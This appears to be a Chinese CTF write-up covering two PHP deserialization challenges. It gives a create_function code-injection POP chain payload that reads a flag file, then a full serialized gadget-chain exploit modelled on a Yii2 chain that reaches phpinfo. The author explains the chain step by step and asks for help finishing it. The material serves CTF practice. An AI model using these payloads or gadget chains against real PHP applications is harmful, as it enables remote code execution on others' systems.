hellounser
<?php
class A {
public $var;
public function show(){
echo $this->var;
}
public function __invoke(){
$this->show();
}
}
class B{
public $func;
public $arg;
public function __toString(){
$this->show();
return "<br>"."Nice Job!!"."<br>";
}
}
$a = new A;
$b = new B;
$b->func = "create_function";
$b->arg = "}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//";
$a->var = $b;
print(serialize($a));
Pop链构造没啥好说的,后面代码注入,就是之前题改的 createfunction()代码注入
xxc(不完全,只打通了链子)
和https://blog.csdn.net/weixin_39924779/article/details/113330709 的Yii2(2.0.39.3)反序列化链挺像的应该就是魔改了下。 先放exp,不过我只能打出个phpinfo,卡在这不知道该干嘛了,链子的最后call_user_func 那第二个参数被写死了。有没有师傅教教该咋整,网上还没找到wp。 Exp:
<?php
namespace Method\Func{
class GenerateFile{
public $flag = "myTest";
protected $buffer;
public function __construct(){
$this->source->generate = "phpinfo";
}
}
class GetDefault{
private $source;
public function __construct(){
$this->source = new GenerateFile();
}
}
class GetFile{
private $flag;
private $files = [];
public $value;
public function __construct(){
$this->flag = new GetDefault();
$this->value = "test";
}
}
}
namespace Faker{
use Method\Func\GetFile;
class MyGenerator{
protected $defaultValue;
public function __construct(){
$this->defaultValue = new GetFile();
}
}
}
namespace Control\State{
use Faker\MyGenerator;
class StopHook{
protected $processes;
public function __construct(){
$this->processes = [new MyGenerator()];
}
}
}
namespace{
echo base64_encode(serialize(new Control\State\StopHook()));
}
?>

下面是pop链分析: 
Index.php找到序列化入口,寻找__construct 或者__destruct 方法,\class\Control\State\StopHook.php,存在可被利用的__destruct 方法 
用$process->stop() 通常可触发__call ,\class\Faker\MyGenerator.php 存在__call ,其内部还有echo可以去触发__toString 
可能是构造序列化链子里有私有变量,导致__get 会和__call 一并被触发。变量defaultValue的值也就能到未定义的变量defaultCall那了(值传递是猜的具体也没搞明白咋过去的,本地试了下__get 和__call 去掉哪个都不行) 再下面的路就很清晰了
class\Method\Func\GetFile.php __isset() ,当对不可访问属性调用isset() ,这里刚好有一个 
class\Method\Func\GetDefault.php $s($length) 这种形式的可以触发__invoke 
class\Method\Func\GenerateFile.php 
到达函数执行点,很可惜这里第二个参数被写死了。不知道做出来的大佬是咋整的,还是说我挖错链子了?
|